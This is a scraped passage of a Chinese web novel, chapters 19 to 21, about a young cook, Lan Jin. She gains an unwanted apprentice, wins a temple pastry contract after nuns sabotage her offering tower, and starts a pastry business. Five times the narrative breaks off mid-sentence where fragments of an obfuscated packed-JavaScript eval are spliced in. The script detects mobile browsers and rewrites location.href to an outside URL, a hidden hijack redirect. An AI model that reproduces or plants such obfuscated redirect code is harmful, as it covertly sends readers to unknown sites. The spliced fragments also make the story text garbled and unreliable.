这也吃得下。就好像生怕她跟他抢似的！蓝锦撇撇嘴。 李厨子看着这位对饭食要求颇高的贵客，此刻进食量活像饿了好些天的饕餮—— 哦，回回布菜都给他退回来，可不就是饿了好些天吗！ 他目光滴溜溜转了又转，狠狠一跺脚，高声道： “你跟我来！” 蓝锦再次出现在小厨房中。三下五除二地收拾好要用的葱姜蒜，各色红烧香料。 手执砍骨刀，干脆地把骨头切成小块，绿油油、脆生生的豆角切段。 旺旺地支起锅，倒进黄澄澄的菜籽油。 锅中一汪油的边沿冒起滋滋啦啦的小泡，就把豆角放进去煸炒，直到嫩生生的豆角被煎炸成油亮亮的绿色，便盛到一旁。 再次起锅烧油，把那些葱姜香料一齐下入锅中，刺啦一下，油锅冒起热闹的大泡，溢出浓重的香味。 把排骨溜着边滑进锅中。随着越来越响、潮水般的煎炒声，鲜红的排骨被煸得发白，肉质回缩，翘起焦黄的边沿。 令人幸福的肉香几乎飘到了大街上，四处都有人在问：“好香啊！这是谁家在做饭？” 排骨里的水汽被煸炒殆尽，蓝锦抓紧锅把，手腕使了巧劲，快快地颠了几下勺。 锅中突然窜起眉毛高的鲜红火苗，直赚得围观的杂役一阵阵“噢噢噢~”的惊呼。 “这女娘看着年轻，手里还有一把子力气咧。” “可不是，毕竟连那位那样挑剔的人，都吃得可欢实了！” “这味儿真香啊，我真想尝尝。” “少说两句，也不看人脸色，你不怕得罪你师父啊？” 观察着火候差不多了，蓝锦翻出布包里自家酿的味极鲜、酱油和老抽，不紧不慢浇进去，还放入上好的陈年老花雕。 炒勺翻动之际，白净的排骨被裹上了酱黄的色彩，肉香混合酱香，气味也更加复合。 上了色的肉本就诱人，更何况这还是蓝锦自家酿的调味秘方。 愈炒愈香，蓝锦适时倒入新的开水，以小火慢慢地炖煮着。 待到水咕嘟咕嘟地冒起大泡，直把青翠的豆角加进香得不行了的锅中，掀盖时的迷人荤香吊足了下人们的胃口。 李大厨顾不得其他，端起盘子就在一旁的空桌上吃将起来。 夹起酱红油亮的排骨，一口咬下去，外酥里嫩，肉汁子在口中爆开。 排骨肉几乎脱骨，一扯就只剩下一根光溜溜的骨头。 一筷子夹起五六根豆角，嘴巴张得溜圆，一股脑塞进去。 豆角被熬煮透了，比那肉还吸汤汁吸味道，咸得够劲，香得够味。 刚蒸好的大馒头也往盘子里一按，浓浓地吸满了肉汁子，张大了嘴一咬，满口生津，唇齿留香。 美啊！美得很！ 仆役们围观着这场突如其来的吃播，看那没一会功夫就堆得跟小山似的肉骨头，哈喇子流得就像蓄势抢食的大黄狗们。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541961|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >近距离看了蓝锦做饭的全程，又尝了刚出锅的，李大厨这下彻底心服口服了。 蓝锦才解下围裙，往下不紧不慢地扯袖口，忽听身后“怦”的一声。 她猛地回头。膀大腰圆、眼高于顶的李大厨，居然双膝跪地，死死扯住了她的衣角，粗着嗓子： “请小娘子收我为徒！” 蓝锦可是结结实实吓了一大跳。李大厨看起来倒比她大了一轮，乍然跪在面前，还要她收徒！ 她慌忙拒绝：“不行不行，这怎么合适。我怎么能收你为徒！” 李大厨竟是一把鼻涕一把泪地哭将起来： “小娘子——您就行行好，收我做个徒弟罢！我原当自己手艺精绝，我称第二，万年县没谁敢称第一。谁承想，往小娘子面前一放，我根本就不入流啊！” “当日您在府里做的柴火鸡，我不是没模仿过。想破头，也烹调不出来一样的。” “主家厌烦我，赶我来这儿，我原也没有指望了。我做的菜，那位贵客也没有不退回来的。我还怨他挑剔不好伺候......谁料您随手一做，他连盘子都舔干净了！” “我只求您指点！若您愿收徒，哪怕头三年只让我削萝卜皮，我也没有二话！” “您是行家，我们比起您，都是不开窍的门外汉。我老李今天脸都不要了，只求您松松口，我这辈子都任您使唤！” 蓝锦十分无奈：“李厨子，我只是做菜的小厨娘，无意收徒。更何况，你都这把年纪了，喊我师父也不合适啊。” “师父！师父！来，快来啊你们几个！真不会来事儿，赶紧来拜见师祖！” 蓝锦眼睁睁地看着几个年轻帮厨也围过来，跪在她面前，张口就叫：“见过师祖！” 哎哟这，给她干哪儿去了。 想她妙龄十几，怎么就做了人家师祖了！ 蓝锦推辞不过，只答应指点他们这道排骨炖豆角，其他就别再提了。 李厨子殷勤地取出上好的排骨，“哐”地往桌上一放，猪肉的鲜红和香气骗不了人，一看就是好肉。 蓝锦从挑食材开始说：“只挑这不肥不瘦的地方。这一片，你们自己买排骨时也可以选。” “这样的脊骨肉吃了不硬，肌间肉吃了不油，刚好烧排骨菜。” 蓝锦且做且教。“若为省油，豆角可以不用提前煸炒，只是这样做更香。” “寻常富贵人家做肉菜，怕腥臊，总要焯水。这道菜里的排骨吃起来娇嫩多汁，关键就是不能过水，要直接炒。” “炸了香料，煸了够量的葱姜，再挑好肉，便全然不会腥臊。” 火候、手法她都逐一指点。等到要炒酱色了，又补充道： “这是我特制的酱油，三种各有讲究。当然，用寻常的酱油也能烧，放一种也行，但颜色、味道上会稍微逊色。” “想吃到一模一样的味道，日后来我蓝记，都用这几种酱油哦。” 李厨子又是连吹带捧，直把蓝锦夸得天上有地上无。 萧仁禹不知何时跟了来，从李厨子那劈手夺过新出炉的菜，珍而重之地把冒着热气的排骨炖豆角端回厢房，等着蓝锦一块吃。 19. 第19章 “师父来了！” “师父早！” “师父您喝茶！” 五大三粗的李厨子，带着三五个瘦高汉子，一早就守在了蓝锦开摊的地方。 李厨子长得凶神恶煞，一来就吓走了好几个小娃娃。 蓝锦扶额：“我不是说过，我真不收徒吗？” 李厨子殷勤地上前，尽力把脸上凑出个温柔谄媚的笑容：“师父教了我一道菜，一日为师，终身为师！师父为人淡泊无私，我们做徒子徒孙的可不能忘本。” 蓝锦泼不灭他的满腔热血，只顾着收拾今日的小食。谁料切肉、调浆、洗涮，这些杂活都不需要她伸手，几个“徒子徒孙”三下五除二就收拾停当了。 “师父，我们别的不行，当初给人家做徒弟时，可是做了三五年的小工，熟得很。他们都不像师父好，一上来竟愿教徒弟做菜。” 拜他们所赐，今日不过一两个时辰，蓝锦就卖完了所有的无骨鸡柳。 李厨子眼看蓝锦事了，神秘地低声说道：“我承了师父的大恩，师父又不愿收束脩。徒弟这有一桩买卖引荐给师父，权当报答师父的慷慨。” 蓝锦挑了挑眉，李厨子只道：“师父不是落霞村人氏吗？村东往万年县来的路上，有一座娘娘庙，师父可曾见过？” 蓝锦倒真听说过。娘娘庙保佑家宅平安，很有几分名声，大家常不顾路途，结群去拜。 “从前，我借了府里的厨房，与她们做过点心生意。她们赚得都是富贵人家的香火钱，出手很阔绰的！师父一亮手艺，定然叫她们心服口服。” 蓝锦微眯着眼，笑着看向占主家便宜的李厨子。李厨子只讪笑：“是好生意，我真是诚心介绍给师父的！” 也罢，左右今日没什么事儿，走一遭，碰碰运气，也行。 山间人迹稀少，鸟雀轻啼，松爽惬心。 蓝锦踏进这座静谧的古刹，对古代寺院的想象在这一瞬尽数满足。 “师太，师太，我与您介绍一位饮食大家！”李厨子风风火火地直奔禅房而去，静修的妙清皱了皱眉头。 她一向讨厌这个一惊一乍的厨子，观之不似好人。偏偏师姐非说他做的点心比市面上便宜两成，舍了闻名万年县的张记，一定要从他这定花糕。 蓝锦看着冷若冰霜的妙清，也吐了吐舌头。 幸好住持妙华师太长袖善舞，问明了二人来意，喜滋滋地把他们领去膳房。 李厨子已为她准备好了食材。蓝锦手下轻柔，轻拢慢捻，彷佛捧着送财童子的两腮一样碾着豆沙。 豆沙香甜细腻，不是红小豆自己的功劳，要和上油，掺上多多的白糖。 “猪头烂热双鱼鲜，豆沙甘松粉饵团。” 豆沙糕团适宜祭灶，今天虽不是腊月二十四，没有灶王爷。但拿甘甜细美的豆沙糕团，去供娘娘庙的善心菩萨，总也不算辱没了。 不过一会儿的功夫，蓝锦便端着一大盘蒸好的花糕，去了大殿。 妙清师太逐一验看—— 红绿黄白的花糕，捏成各色形状，还恰如其分地嵌了干果。 有荷花样的，花瓣尖尖，层叠错落。到了靠近莲心处，各有一片晕开的米黄。 此刻在蓝锦的手心徐徐地转动，倒有些许庄肃的情态。 另有端坐在小山上的狮子。 五颜六色的塔身，每层都有不一样的花纹，红红的狮子头上精心配了头饰和项链。 好看！别致！妙华师太爱不释手，几乎立刻就决定做了这桩生意。 妙清师太对李厨子引荐来的人也不抱好感： “看着好，不代表吃着好。施主们也不是白白抛费，看一眼就扔了。到底还是定张记的糕团好，人家是老字号，省去多少折腾！” 蓝锦利索地掐开一朵牡丹花，暗红粘糯的豆沙馅便漏了出来。 既有红豆碎，又有红豆沙，层层裹在牡丹花瓣里，中心还有一大团馅。 她从容道：“包子有馅，不在褶上。这不是中看不中吃的样子货。而且，我还能做层层揉进了油酥的，黑芝麻馅的，莲蓉馅的，枣泥馅的，绿豆沙馅的。” “还有那种奶香的，黄澄澄，一咬便烫烫地流出来，保管馋人。” 妙清不说话了，只闭眼假寐。妙华却拿起一朵茉莉花样的糕点：“师妹，你不是最喜欢豆沙吗？这位娘子捏的花样不错，豆沙香气也很足。” 她把花糕递到妙清嘴边，自家拿了一朵山茶花糕放入口中。唔！清雅可人，甜香润口，好吃！非常适合做她们庙里的随喜花糕！ 妙清也不情不愿地放进嘴里，这一吃不得了......皮子暄糯好口感，豆馅细腻还有嚼头。 她忙快步奔过来，又捡起一颗芝麻馅的。滑顺清香，和别家都不一样，连她也不曾吃过！ 要知道，她可是背着师姐，一月下山好几回，溜去县城吃喝。张记的点心都叫她吃了个遍，却也没有尝过这等味道。 谁也没想到打脸来得这样快，但妙清师太可没有扭捏姿态，她立刻悄悄跟妙华嚼舌根： “这么好吃，得比张记的还贵，不得卖几十文一个啊！我们这小庙，能买得起吗？” 妙华面上本有意动，闻言又是踌躇。 蓝锦上前一步，继续推销：“除了这些馅料，时鲜好果，无一不能入馅。” “就如月季、荷花，洗净用糖渍了，也能炮制。” 妙清心里认同蓝锦的见地。万物应时而生，皆是天才地宝，无一不珍。应时而食，道亦在其中矣。 只是，她还是放不下吃惯了的张记老字号。 蓝锦察觉了师太们的犹豫：“我这花糕有无尽样式，无尽馅料，看得也吃得。价格却实在，只要十文一枚，师太们意下如何？” 这价钱不高，比张记便宜！妙华想想可能的远名，想想富庶人家的随喜礼，当下就要拍板。 妙清却拦住了她：“师姐，岂能如此草率，不如叫她供奉明日的佛前蜜塔，先看看究竟，再行定夺吧！” 横竖现在李厨子搬出卢府，也送不来花糕了。只差一点，她就能说动师姐换了供货商，日日吃上张记的糕团 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541962|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 ** “妙华师太，蜜塔倒了！蜜塔倒了！” 一群小女尼慌张地奔往妙华的厢房，蓝小娘子送来的蜜塔，不过刚放在佛前，便倒塌了！ 妙清也从外头走进来：“要么说还是订张记的点心好，人家做惯了蜜塔，断不会出现这样的事。” 妙华师太赶往大殿，眼见一摊碎裂的糕点，叹了口气。允了妙清的要求，同意让她去买张记的成品蜜塔。 贵点就贵点吧，总比中吃不中看的好。 若是香客们正虔心拜着菩萨，叫天降花糕“啪叽”砸个正着，那可不太行。 妙清师太等的就是这一天，师姐终于松口。她拿了钱，套了车，跑得好似野兔子。 蓝锦收了摊，一径去了娘娘庙，询问花糕的试用情况，看能否签了契子。 “蓝小娘子，这......不过刚摆上，便掉下来碎成一堆。你家花糕滋味虽好，却不太适宜佛门供奉。这门生意，还是作罢吧。”妙华师太给蓝锦看托盘中的糕点碎末。 蓝锦拈起一块来：“都在这里了吗？” “自然都在，我还怕你不信，特地仔细收拢到一块。” 蓝锦原先还悬着心，此刻却满脸自信：“这蜜塔绝非自己倒的。为了方便签契子，我家花糕每份都是称了重量的。这九层蜜塔，刚好五斤重。师太只管去称量，托盘里的绝对不够分量，起码少了一斤去。” 妙华拿了称来，果真如此。 妙清正把张记的成品蜜塔摆于佛前，闻言反驳道：“你说五斤就五斤？谁知道你是不是信口开河！” 蓝锦只道：“刚好我车上的食材都在。这蜜塔虽然塌了，每层的大小却仍旧能看出来，各位师太不如借我用一下厨房，我很快就能现做出来。” 妙华没有什么不愿意的，左右不要庙里花钱。 等上一会，蓝锦一锅蒸出新花糕，堆叠成塔，捧将过来，稳稳当当。上称一称，刚好五斤。 妙华的心思又歪了回去。蓝记花糕便宜，味美，说不准更受喜爱。 蓝锦状似无意一瞥妙清：“若非有人着意碰撞，或是偷偷抽出几块糕团来吃，这蜜塔是不会倒塌的。” 妙清和几个年幼的女尼面上好不自在——她们衣衫上的点心渣子，还没抖干净！ 妙清只道：“那还是不如张记的好！蜜塔连摆放一项都经不起考验，怎么供奉？像张记的，怎么碰都不会歪。” 蓝锦一笑，一指张记蜜塔：“若师太说的是这家，那便更简单了。这种做法虽然放得住，一天过去，糕团立即变硬，生能咯掉门牙。如果把这种供奉随喜赠与大家，只怕十分赶客，影响体面呀。” 妙华深以为然，见妙清还要言语，肃然道：“好啦，就用蓝记的花糕，打量我看不穿你们的小动作？” 她与蓝锦有说有笑地签了契子。现做的这份花糕，蓝锦权当赠品，妙华给现下在庙里的香客都分了。 “师太，好运道，哪里得来的好花糕呀？”一位珠光宝气的老夫人手执一块牡丹花糕，寻了过来。 20. 第20章 蓝锦正与妙华一道喝茶。妙华赶忙起身相迎：“得了您的喜爱，真是难得。” 又向蓝锦介绍道：“这位檀越是我们娘娘庙顶有善心的功德主，长年供养三宝，最有福气的。” 蓝锦也起身向老夫人行礼：“夫人手中的花糕，正是我做的。” 陆青枫接过茶水，笑道：“这却是个巧宗。家中为小儿定亲礼准备喜饼，东挑西选，满城的铺子都逛遍了，总也没有合适的。谁想到，今日来这娘娘庙，还有这等机缘。” “不知这位小娘子愿不愿意，来我府上制作几样糕饼。放心，我决不会亏待小娘子的。” 妙华也乐得促成这个善缘。这位老夫人是城中有名的富户，若是蓝小娘子做的喜饼也好吃，婚礼宾客众多，少不得声名更加远播，连带她们娘娘庙也能借上东风。 于是她便两厢作保，直说得老夫人笑盈盈地与蓝小娘子一道回城了。 蓝锦一踏进齐府的大门，便叫一步一景的亭台水榭晃了眼睛。 妙华师太说得果然不错，这位老夫人家不仅是有钱，那是十分有钱。 她打量了一眼宽敞的厨房，竟比县令府邸的还要气派好些。 若她有了钱，也给自己置办一个这样贵气的厨房，在里头做菜也开心。 丫鬟在回廊里穿梭，鱼贯而入，将蓝锦做好的几样喜饼奉于陆青枫面前。 三份托盘，三样点心。红豆酥饼，用了千层起酥法，外酥内糯。 桂花糖糕，中心裹了蜜渍干桂花，蒸得细软，入口即化。 还有一样龙凤喜饼，竟是双拼，一半是莲蓉蛋黄馅，一般是糖渍玫瑰馅。 待陆青枫一连拿起几块，才见其中奥妙。每一块点心的上面，都写有红字：喜、缘、福、乐、合、欢、愉...... “咦，这却巧妙。如何每一块还不一样？也不像模子自带的，这可得花不少功夫。” 蓝锦笑道：“这却不难。我用萝卜刻了字，挨个印上便是了。” “不错，不错！口味好，样子也好，心思更细巧。”陆青枫爱怜地拉过蓝锦，到她的美人榻上一同坐着，抚摸她纤细的小手。 “你这小娘子，真是一个风雅妙人，喜饼生意我定要同你做。我就喜欢你这样的女娘，要不你便留在我身边，替我专管点心供应，如何？” 这熟悉的感觉，敢情有钱人都爱往自家划拉人。蓝锦笑着推拒：“老夫人太过抬爱。我家中是做生意的，还有自己的营生，也不好抛下了。” 陆青枫却不依：“我们家中也有许多铺面啊，若你不愿在内宅，随意挑个......” “奶奶，看我给你带什么吃的来了！如意楼新出的烧鹅，配了梅子酱的！”齐二郎拎着一整只滋滋冒油的烧鹅，三步并两步进来了。 蓝锦一回头，和齐二郎四目相对。 “你！你......你还不愿放过我！都，都追到家里来了......” 齐二郎左脚拌右脚，一屁股摔在地上。烧鹅也不要了，早不知抛到哪去了。 蓝锦满腹疑惑，怎么，她吃人吗？ “奶奶，她，她是道上混的！可千万不能招惹了她家小摊啊！”齐二郎声音发颤，两股战战。 “你这孩子，瞎说什么浑话呢。人家蓝小娘子，是专门给你的婚事做喜饼来的。” “我可不要她做喜饼，我不要，我可不要！” 陆青枫瞧出不对来。她这孙儿虽然贪吃贪玩、游手好闲了点，却也没有平白发癔症的前科，此间一定有缘故。 还不待她问清，蓝锦便起身不卑不亢地行礼： “老夫人，恕我无法接下这桩喜饼生意了。这位郎君曾当街强掳我做他厨娘，事不成，便要扔几锭银子，抢了我做妾室。行状委琐，不堪入目。蓝锦先告辞了。” 陆青枫使人去追蓝锦。将应承她的喜饼酬金尽数奉上，足有三十两银子。还言说定会押孙子前去当众致歉。 蓝锦冷笑道：“这却不必。还是把他的品貌行状，如数告知要定亲的姑娘家，才是正经！毕竟，快掉进火坑的人是她。” “不肖子孙！给我打，往死里打！” 齐老太爷开了祠堂，把齐二郎押在长凳上，几个家丁挥着棍杖，一下下往他身上招呼。 “你读书读不进去，成日在街市上游荡。文不成，武不就，经商也是个榆木疙瘩。如今还把不三不四的风流做派学了个干净，齐家，就要败在你手里了！” 齐二郎哭得肝肠寸断，除了他母亲，没人心疼他。 心疼也无用，打完这板子，还要拉去跪祠堂，抄佛经，禁足三月，可有他受的。 ** “锦娘，万年县人人都在传，说你上门做喜饼，做毁了一桩婚咧。” “毁得好！有福之女不进无福之门。我这也是阴差阳错，帮了一位珍珠似的小娘子，不叫她变成泥潭里的鱼眼珠。”蓝锦微微一笑。 “还是锦娘说话硬气。” “那当然，我们锦娘啊，又不靠婚事讨饭吃。” 婶娘们笑得自在惬意。如今她们能挣钱了，在家中的腰杆也直了不少。 劳累了一天，让丈夫替自己倒杯茶，往日吼得震天响也没响动。 如今歪在床上，哪怕细声细语地嘀咕一句，立时就奉到跟前来了，还嘘寒问暖的。 年轻姐妹们也渐渐仿着蓝锦的志气。学手艺，赚银钱，有手有脚，就靠自己，谁又能饿死不成？ 大家脸上的笑容更多了，同蓝锦也更加亲昵。 妙清也很是感佩蓝锦的侠女行径。 她当初饿得病恹恹的，被先师自荒郊野岭中捡回庙里，从此就一直倾心济世救民的侠女。 连同蓝记那些糕团，她也越吃越合口。什么张记，都抛到脑后了。 说来只是从前难得吃上，所以一直惦念着张记老字号。 这回，买来的成品蜜塔都进了她的肚皮，果然如蓝小娘子所说，腻乎乎的糊嘴。 不像蓝小娘子家的花糕，清甜宜人，吃多少都不嫌多。 蓝锦再来娘娘庙送花糕时，妙华笑眯眯地露了面——想想那坠手的随喜礼，她没有不喜的。 妙清也亲热地拉着她的手不放，态度一百八十度大转弯，直把她当作最热络 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541963|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的亲友。 “我就知蓝小娘子是闺阁英豪，顶天立地的女娘！你这人心地好，做的东西一定好。” “这样耿介诚挚，必然是爱吃懂吃，热爱生活的可爱女娘！万年县你可吃遍了？我同你说，我常溜出去吃！说起这个，我可是行家。” “城东那片地界，靠城门，有家顶好的阳春面，汤清味浓，面有骨性，很有嚼头。” “如意楼也有好菜色，别看它不如天香楼势大，就小瞧了去。别的还罢了，就吃那道酒糟熏鱼，倒有茉莉味！” 又想起来什么似的，声音渐渐低了下去，把眼一觑旁边的妙华师太。 妙华双手合十，把眼一闭，只当没听见。 妙清声音就又高回去了。 “还有那城北的兴善邨，有好大个咸糯米烧卖。” “里头揉了猪油，头顶着片腊肠，肚阔腰圆的，有笋丁肉丁，要紧的是还有一颗咸鸭蛋黄。” “那咸甜调味，哎呀，小娘子你吃了才懂！” “待你回转，绕去城西吃一家冷拌面，不要小瞧了去，它那麻酱裹得好筋道面条，咸香弹牙的。” “配一碗两家店开外的胡椒羊肉汤，哎哟，你这一天可值啦！” “只是最近山上管得严，我都有好一阵子没下山啦。哎，可把我憋坏了，幸亏有小娘子你做的糕团......” 妙华清咳几声，终究是装不下去了，转头进了大殿做晚课。 妙清对着蓝锦耸一耸肩，嘿嘿一笑。 蓝锦也给她一个“我都懂”的笑容，拍了拍她的手：“师太放心，以后，能带的我都给你带一份！” 妙清却不好意思了起来：“那倒不必的，我只想让小娘子尝尝看，都是我心里爱极了的。” 蓝锦依言记下，带着满肩沉甸甸的妙清心头好，下山去了。 难得小秋跟来了，蓝锦回了落霞小摊子接上她，打算一起去见识见识咸糯米烧卖。 “可是蓝锦小娘子？”一位穿着鹅黄长裙，扎着丫鬟髻的女娘上前致礼。 “是我，你是......”买鸡蛋也不用问母鸡的姓名，这位一看就是大户人家的婢女，为何而来？ “我家小姐邀您到马车上一叙。”蓝锦一抬头，不远处的华贵马车，车帘微微撩起一道小缝。 光天化日的，蓝锦跟婶子们知会了一声，独个前去了。 面前的女娘手执书卷，生得艳丽娇媚，穿着打扮却素得不能再素。两笔本该生在捧心西子脸上的笼烟细眉，更为不搭。 “这位姑娘，是因何事寻我？”蓝锦不禁开口问道。无论是气质还是做派，这位都不像能跟她扯上关系的。 女娘扬起脖颈，用下巴看人，语气骄矜，像一只高傲的波斯猫： “蓝小娘子恐怕还不认识我。我便是城西钱主簿府的大女儿钱思敏。也就是先前与齐府齐二郎议亲的人。” 蓝锦看着她那融了烈酒般的眼眸，一时还有点失神。 主要她身上这两种气质太过不搭，好像夺人眼球的凤姐儿，硬扮作荷锄葬花的黛玉妹妹。彼此冲撞，叫人忍不住多看几眼。 21. 第21章 蓝锦和小秋眼睁睁地看着钱思敏咽下第三个咸糯米烧卖。 小秋还把自己吃不完的掰下一小块，递给这个奇怪姐姐。钱思敏不假思索地接过吃了，一点也不介意。 虽然烧卖里有肉有菜，也挺好吃。可每个烧卖碗口大一个，还多半是糯米。钱小娘子这么吃，真的没事吗？ 钱思敏从怀中掏出薄纱汗巾，掩面拭唇，仍是骄矜语气：“还不错，你也挺会吃的。” 蓝锦唯唯：“噢，噢！” 她也不知道事情怎么会变成这个样子。 才刚钱小娘子高贵地自报了家门，那架势活像要对她发难。 结果人家携着她的手走下马车，对着众多蓝记小摊逐一察看，口中还道：“不错，不错。” 听小秋说阿姐要带她去吃烧卖，钱思敏不请自来，邀姐俩上马车带她同去。 蓝锦风中凌乱，她们一人才吃了一个，小秋还未吃完。 钱思敏说道：“蓝小娘子恐怕还不知道我的来意。” 蓝锦：总不能是专来吃烧卖的。 “这烧卖味美饱腹，别看它个头大，糯米的成本也不算高。可因为它实在好吃，卖得也不便宜啊！这一个，总有几文可挣。” 蓝锦：还真是冲着烧卖来的。 “蓝小娘子做的喜饼，也是同样的道理。我吃了齐家送来的喜饼，其中几块与市面上都不同。略一打听，便知道了蓝小娘子上门做喜饼的风波。” “虽然我家里不富裕，才定了这桩糊涂婚，那也不能让人骑在头上。我略施小计，便让我爹退了亲。” “说起来都要感谢蓝小娘子，救我于水火。你做的喜饼能在众多仿品中脱颖而出，引我四处打听，便不愁叩开万年县富贵人家的大门。” 蓝锦此刻才知道，骄矜的钱小娘子不是来耀武扬威的，是来同她做生意的！ 原来，钱家虽在县衙做主簿，却并未积下什么家财。 钱思敏整日如此打扮，半是因为钱主簿推崇“箪食瓢饮”的颜回风尚，半是因为家里穷。 按说俸禄也能养家，可齐家一家子都有一个毛病：当接济弱小的老好人。 老夫人碰上撞上轿子的小乞儿：“唉，可怜孩子，这钱你拿着吧。” 钱主簿看见卸甲归田的独臂军户：“唉，今年别交税了，我给你补。” 钱思敏的娘亲一开始还不习惯，渐渐也叫同化了：“唉，孩子大了，还衣不蔽体在街上疯跑，去账上支点银子，送去书院吧。” 饶是家中有金山银山，也禁不住这般使用。更何况没有。 钱思敏愁得人比花瘦，整日板着脸。蓝锦这尾鲶鱼，倒惊醒了她的思量。 没法节流，还不能开源吗？ 蓝记小摊前，蓝锦的算盘拨得飞快，婶娘姐妹都围将过来。 “算好了。若是摆摊，风里来雨里去，各位姐姐们每日的净利最多百文。如今只在家做点心，花不了多久，每日每人倒能拿约莫一百三十文。既省了脚程，还不用守摊子。” “钱小娘子给我们出银子，各处拉生意。大家各拿各的份子，谁都不亏。结钱时我每单提一成，钱小娘子拿三成，剩下的大家分。大家愿意吗？” 原先摆摊，每日百文的净利，众人已觉了不起。 现下多赚两三成，还不用起早贪黑跑县城，毕竟露天，风吹日晒的。所以，好多人心动！ 也有人犹豫：“这小摊子走上了正轨，也没有什么阻挠了。赚的钱就在眼皮子底下，还不少嘞。乍然抛下了，又不知糕饼生意能不能成......” “是啊，我们都没吃过什么好糕饼，怎么做出好糕饼？要知道，这可都是富贵人家的吃食。哪里看得上我们这些泥腿子，打都打出来了。” 吴老太嚷开了：“我不信别的，就相信锦娘。锦娘说能赚钱，我就信！” 青苗婶子也不爱听那泄气话：“对！谁说的看不上，钱小娘子不就看上了？陆老太太都喜欢，她可是富贵窝里长大的。我们锦娘说成的事，那就肯定能办成。算我一个！” 蓝锦也笑道：“我保管把你们教会。每人负责一项，好学的，做出来的口味也稳定，这你们别担心。” “你们的小摊不比我的小摊，没有肉食这样能卖出高价的食物，因它本钱高，风险也大。我也不是强求，只心里觉得这是个好机会，便与大家都提一提，让愿意的人入伙罢了。” 拍板加入的人不在少数。三方一商定，依蓝锦的章程定了契子。 采买食材、学做糕点、去富贵亲朋家敲边鼓，这桩家庭联产承包、天使投资人投钱、瞄准富户的糕团生意，便轰轰烈烈地拉开帷幕。 钱思敏格外提点，要她们不局限于喜饼。这正中蓝锦下怀，人生百事，各色宴席，她们都能掺和一脚。 ** “咦，这什么，好香啊！” 陆青枫给的三十两银子，还没捂热，就叫蓝锦砸出去许多，去生药铺子买了顶顶上等的香料。 白芷、丁香、草果、砂仁、陈皮、良姜......都是少了也能吃，但一用上，就让肉香更上好几层楼的妙物。 蓝锦打算卖卤肉！ 眼见天气转热，万年县的住户们，也愿切个凉盘佐餐下酒。 往常都是酒楼里卖这些，价格贵，吃起来心里头都要按片算钱。 “千金卤水嘞~猪心肝肺腰~卤猪舌肚肠~” 行人皆被这股奇香吸引住了脚步。说是猪下水，可这小摊并没有半点腥膻味，嗯，却还有一股复杂的肉香。 有刚从丰乐坊出来，打了几两落霞春，循香来买下酒采的客人，催着蓝锦快些侍弄卤猪下水。 蓝锦依言盛到案板上，“夺夺”地切成匀称的薄片。 称量了盛在竹节碗中，还浇上一勺热热的卤汁。 敞口的大锅咕嘟嘟地涌着浓香，像能惑人似的，诱人去往深庐秘境。 深深嗅上一口，未喝酒就把人给醉了。 不是饭点，在小酒馆里闲坐喝酒，慢品味卤肉的人终是少数。蓝锦亮开嗓门，四处揽客。 “走过路过都来尝尝呀，小娘子，尝尝不要钱。” 一个绿衫子的女娘被留住了，犹豫地接过蓝锦手中的签子—— 这可是猪下水，娘子家当街吃会不会不雅观？ 只是这味道实在香，和豕肉也没什么区别。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541964|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 樱桃小口一张，薄切的卤猪心就下了肚。 鲜美弹糯，外韧里嫩，处理得很干净，没有一丁点不好的味道。 咸香伴着不知名的香料味，当浮一大白！ 悄然观察着女娘面上的神情，蓝锦有了数。 “小娘子，这卤肉不仅味美，兆头也好。” “吃了蓝记心肝肺，正嚼碎负心人的心肝肺，好叫小娘子绝对不会遇人不淑。” 如是美滋滋地推销出去一份，蓝锦又殷勤地递给一个慈眉善目地婶娘。 “这位姐姐，最是善心人，才正吃得我这卤心肝肺。” “常言道，吃蓝记卤心肝肺，观音座下善心人。” 又劝一个耳侧有血痕，被娘子骂了一通拂袖而去的蔫巴郎君。 “郎君，吃了我这蓝记心肝肺，最能多长几个心眼子，不叫你家娘子越过你去呀。” 蔫巴郎君嘟嘟囔囔道：“老板，你刚才可不是这般说，分明听见你讲，越吃这卤心肝，心肠越软下去了。” 